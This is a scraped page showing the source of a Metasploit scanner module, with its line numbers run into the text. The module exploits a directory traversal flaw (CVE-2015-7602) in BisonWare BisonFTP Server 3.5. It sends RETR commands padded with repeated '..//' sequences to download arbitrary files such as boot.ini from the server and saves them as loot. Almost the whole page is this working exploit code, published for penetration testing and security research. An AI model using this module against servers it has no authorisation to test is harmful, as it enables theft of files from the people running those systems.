Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',13'Description' => %q{14This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server15version 3.5. This vulnerability allows an attacker to download arbitrary files from the server16by crafting a RETR command including file system traversal strings such as '..//.'17},18'Platform' => 'win',19'Author' =>20[21'Jay Turla', # @shipcod3, msf and initial discovery22'James Fitts',23'Brad Wolfe <brad.wolfe[at]gmail.com>'24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'EDB', '38341'],29[ 'CVE', '2015-7602']30],31'DisclosureDate' => '2015-09-28'32))3334register_options(35[36OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),37OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])38])3940end4142def check_host(ip)43begin44connect45if /BisonWare BisonFTP server product V3\.5/i === banner46return Exploit::CheckCode::Appears47end48ensure49disconnect50end5152Exploit::CheckCode::Safe53end5455def run_host(target_host)56begin57connect_login58sock = data_connect5960# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb61# and #758262if sock.nil?63error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'64print_status(error_msg)65elog(error_msg)66else67file_path = datastore['PATH']68file = ::File.basename(file_path)6970# make RETR request and store server response message...71retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"72res = send_cmd( ["RETR", retr_cmd])7374# read the file data from the socket that we opened75# dont assume theres still a sock to read from. Per #758276if sock.nil?77error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'78print_status(error_msg)79elog(error_msg)80return81else82# read the file data from the socket that we opened83response_data = sock.read(1024)84end8586unless response_data87print_error("#{file} not found")88return89end9091if response_data.length == 092print_status("File (#{file_path})from #{peer} is empty...")93return94end9596# store file data to loot97loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)98vprint_status("Data returned:\n")99vprint_line(response_data)100print_good("Stored #{file_path} to #{loot_file}")101end102103rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e104vprint_error(e.message)105elog(e)106rescue ::Timeout::Error, ::Errno::EPIPE => e107vprint_error(e.message)108elog(e)109ensure110data_disconnect111disconnect112end113end114end115116117